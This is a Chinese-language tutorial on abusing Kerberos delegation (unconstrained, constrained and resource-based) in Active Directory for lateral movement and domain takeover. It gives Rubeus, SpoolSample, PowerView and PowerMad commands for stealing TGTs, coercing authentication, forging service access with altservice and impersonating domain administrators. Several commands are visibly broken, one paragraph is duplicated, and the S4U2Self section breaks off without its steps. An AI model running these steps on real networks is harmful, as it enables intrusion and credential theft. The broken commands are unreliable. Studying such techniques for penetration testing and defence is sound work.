Kerberos委派的利用

这一小节，我们讨论 Kerberos 委派。委派解决了双跳问题，但是，攻击者也可以利用委派来获得代码执行以及横向移动到其他主机上。

非约束委派

Kerberos 委派允许用户或服务代表另一位用户访问另一个服务。一个典型的场景是，用户向 IIS 服务器进行身份验证，然后 IIS 服务器代表用户向 MSSQL 服务器进行身份验证。

非约束委派可以分配给计算机或用户，但主要是计算机。配置可以在域控制器上完成。从系统管理员的角度来看，我们可以在“委派”选项卡上选择信任此计算机代表任何服务 (仅限 Kerberos)选项，为域计算机配置非约束委派。

我们提到了委派解决了双跳问题，那么无限制委派是如何解决这个问题的呢？如果一台计算机配置了无限制委派，当用户访问 IIS（前端服务）服务器时，KDC 也将用户的 TGT 包含在 TGS 票据中。然后，IIS 服务器提取用户的 TGT 并将其缓存在内存中。之后，IIS 服务器使用用户的 TGT 代表用户访问 MSSQL（后端服务）服务器。但问题在于，由于用户的 TGT 被缓存在 IIS 服务器的内存中，IIS 服务器可以使用用户的 TGT 代表用户访问任何其他服务，这意味着 IIS 服务器模拟用户。如果 IIS 服务器受到攻击，攻击者可以从内存中提取所有 TGT 并模拟这些用户。更糟糕的是，如果缓存了高权限用户的 TGT，例如域管理员的 TGT，攻击者可以接管整个域和森林。

我们来详细解释一下这些步骤。

枚举

Get-NetComputer -Unconstrained | select dnshostname

域控制器总是配置无约束委派，但它没有帮助。

利用

1：妥协配置无约束委派的机器。

2：使用rubeus实时监控缓存的TGT（需要本地管理员权限）。

rubeus.exe monitor /interval:5 /nowrap

3：等待高权限用户访问本机服务，如smb share。 或者我们可以使用 spoolsample 通过 MS-RPRN RPC 接口将一台机器强制到这台机器上。

spoolsample.exe dc srv02

我们可以在任何 Windows 域机器上执行该命令。

4：将捕获的 TGT 保存为 kirbi 文件。

5：将工单导入当前会话。

6：访问内部资源，如\\dc\c$。 在这种情况下，我们得到了 dc 机器帐户的 TGT，机器帐户没有本地管理员权限，但有一种解决方法可以给我们 SYSTEM 权限（稍后会提到）。 既然是域控制器，我们可以使用DCSync权限来获取域管理员的hash来pwn域！

需要注意的是，非约束委派不仅可以跨域，还可以跨森林。但如果是跨森林的话，我们需要确保 TGTDelegation 是启用的，虽然默认是禁用的。我们需要在目标 DC 上执行命令

netdom trust <目标域> /domain:<本地域> /EnableTgtDelegation

约束委派

受限委派比无限制委派更安全，因为服务器不再缓存用户的 TGT 票据。相反，服务器可以使用自己的 TGT 为用户请求一个 TGS 票据，并且服务器只能代表用户访问指定的服务器和服务。例如，IIS 服务器只能代表用户访问 Web01 计算机上的 CIFS 和 eventsystem 服务。

从系统管理员的角度来看，可以像这样配置约束委派，选择“信任此计算机仅委派给指定的服务”选项。 它有 2 个子选项，我们注意到选择了“使用任何身份验证协议”，如果我们选择“仅使用 Kerberos”会发生什么？ 我稍后会解释。 除了机器之外，服务帐户也可以配置约束委派。

受限委派可以通过选择“仅信任此计算机代表指定服务的委派”选项来配置。它有两个子选项，我们注意到选择了“使用任何身份验证协议”，如果我们选择“仅使用 Kerberos”，将会发生什么？稍后我们会解释。除了域计算机，服务帐户也可以配置受限委派。

在这种情况下，除了 Web01 计算机上的 CIFS 服务之外，还指定了 Web01 计算机上的 eventsystem 服务。但这看起来并不令人兴奋，不过不用担心。虽然服务是指定的，但我们可以使用替代服务名称技巧来绕过它，因为服务名称不会被 S4U 验证，而且它在票据中也没有加密。

我们来详细了解一下受限委派的整个过程。

步骤 1：用户到 IIS 服务器 用户通过 NTLM 认证与 IIS 服务器进行身份验证，只要认证不是 Kerberos。

步骤 2：IIS 服务器到 DC IIS 服务器利用 S4U2Self 为用户请求访问自身（IIS 服务器）的 TGS 票据。

步骤 3：DC 到 IIS 服务器 KDC 将可转发的 TGS 票据返回给 IIS 服务器。

步骤 4：IIS 服务器到 DC IIS 服务器利用 S4U2Proxy 为用户请求访问 SQL 服务器的 TGS 票据。

步骤 5：DC 到 IIS 服务器 KDC 将 TGS 票据返回给 IIS 服务器。

步骤 6：IIS 服务器到 SQL 服务器 IIS 服务器使用可转发的 TGS 票据代表用户访问 SQL 服务。

 

枚举

Get-NetComputer -TrustedToAuth

Get-NetUser -TrustedToAuth

 

利用

1：拿下配置了约束委派的机器或用户

2：为目标机器或服务帐户请求 TGT。

情形 1：我们已经拥有本地管理员权限，或者我们知道目标用户或主机的凭证。

rubeus.exe asktgt /user:srv-1$ /aes256:[…] /nowrap

情形 2：我们没有本地管理员权限，也不知道当前用户或主机的凭证。

rubeus.exe tgtdeleg /nowrap

3：将TGT另存为文件

Kali上

echo ‘<..ticket..>’ | base64 -d > xxx.kirbi

在Windows上

[System.IO.File]::WriteAllBytes(“C:\windows\temp\xxx.kirbi”,[System.Convert]::FromBase64String(“<..ticket..>”))

4：冒充特权用户并请求 TGS 票证以访问目标机器上的 CIFS 服务。 例如，特权用户可以是目标机器的本地管理员，有时我们甚至可以冒充域管理员。 但请注意，域用户可以配置为无法委派。 我提到服务名称不会被验证，所以即使目标服务是事件系统，我们也可以将其修改为 cifs 服务。

命令应该是

rubeus.exe /impersonateuser:<high privileged user> /msdsspn:<service>/<fqdn> /user:<user> /ticket:srv01.kirbi /altservice:cifs /nowrap /ptt

5：ticket被导入内存，所以我们可以在client01上访问C$。

基于资源的约束委派

配置受限委派需要在域控制器上具有 SeEnableDelegationPrivilege 权限，通常只有域管理员用户才能配置它。然而，配置基于资源的受限委派（RBCD）并不需要这个权限，系统管理员可以为计算机配置 RBCD。资源本身可以决定信任谁。

要配置受限委派，需要为 IIS 服务器配置 msDs-AllowedToDelegateTo 属性。RBCD 通过在 MSSQL 服务器上添加 msDS-AllowedToActOnBehalfOfOtherIdentity 属性来工作。该属性应该是 IIS 服务器的 SID。

配置 RBCD 有一个要求。前端服务（IIS 服务器）应该具有一个 SPN，因为前端服务需要在 S4U2Self 过程中为用户请求访问自身的 TGS 票据。如果前端服务不是计算机帐户或服务帐户，那么它就没有意义。

 

枚举

如果拥有的用户或机器拥有对另一台机器的 GenetricWrite（或更高权限）权限。

 

利用

1：新建机器账号。如果您已经拥有拥有机器的 SYSTEM 权限，那也没关系。

导入 PowerMad.ps1 脚本工具。

New-MachineAccount -MachineAccount rbcd -Password $(ConvertTo-SecureString ‘123123’) -AsPlainText -Force)

2: 将 AllowedToActOnBehalfOfOtherIdentity 属性添加到机器 SRV01（后端服务），该值应为 client01 的（前端服务）SID。

导入 Active Directory 模块

Set-ADComputer [back end server] -PrincipalsAllowedToDelegateToAccount -Server [DC IP] -Verbose

3：类似于约束委派部分的步骤。 利用 S4U 冒充高权限用户获取 TGS 票证以访问后端服务器的资源。 但首先，我们需要知道添加的计算机帐户的哈希密码。

rubeus.exe hash /domain:<domain> /user:rbcd$ /password:<password>

然后滥用S4U，访问后端服务器上的资源。

rubeus.exe s4u /user:rbcd$ /aes256:<…> /impersonateuser:<high privileged user> /msdsspn:<service>/<fqdn> /altservice:http,host,cifs /ptt

 

S4U

我们在约束委派和 RBCD 部分讨论了 S4U2Self 和 S4U2Proxy。您可能对它们感到困惑，不用担心，我会向您解释。

S4U2Self

它代表用户请求 TGS 票证以访问前端服务器。

S4U2Self 利用

计算机帐户在其自身上没有本地管理员权限。例如，我们可以捕获计算机帐户的 TGT，但我们不能直接以本地管理员权限移动到计算机。我们之前获得了 Dc01$ 的 TGT，我们可以通过以下步骤将 Dc01 计算机帐户的 TGT 转换为 CIFS TGS。

首先，请确保我们现在无法访问 Dc01 的 C$。

S4U2Proxy

它代表用户请求 TGS 票证以访问后端服务。

那么为什么没有选择“仅使用 Kerberos”呢？如果选中，则使用 Kerberos 对前端服务（IIS 服务器）进行身份验证，S4U2Proxy 可以使用用户提供的可转发 TGS 票证。通过这种方式，我们需要用户交互来窃取用户的 TGS 票证。

 

比较

非约束委派

前端服务器配置无约束委派，它代表经过身份验证的用户请求访问域中的任何资源。

约束委派

前端服务器的 msDS-AllowedToDelegateTo 属性配置后端服务器的 SPN。前端服务器使用其身份 (TGT) 代表经过身份验证的用户请求访问指定后端服务器上的指定服务。模式是 A 信任 B。

基于资源的约束委派

后端服务器的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性配置前端服务器的 SID。这意味着，后端服务器允许前端服务器代表其他用户访问自己的资源。模式是 B 信任 A。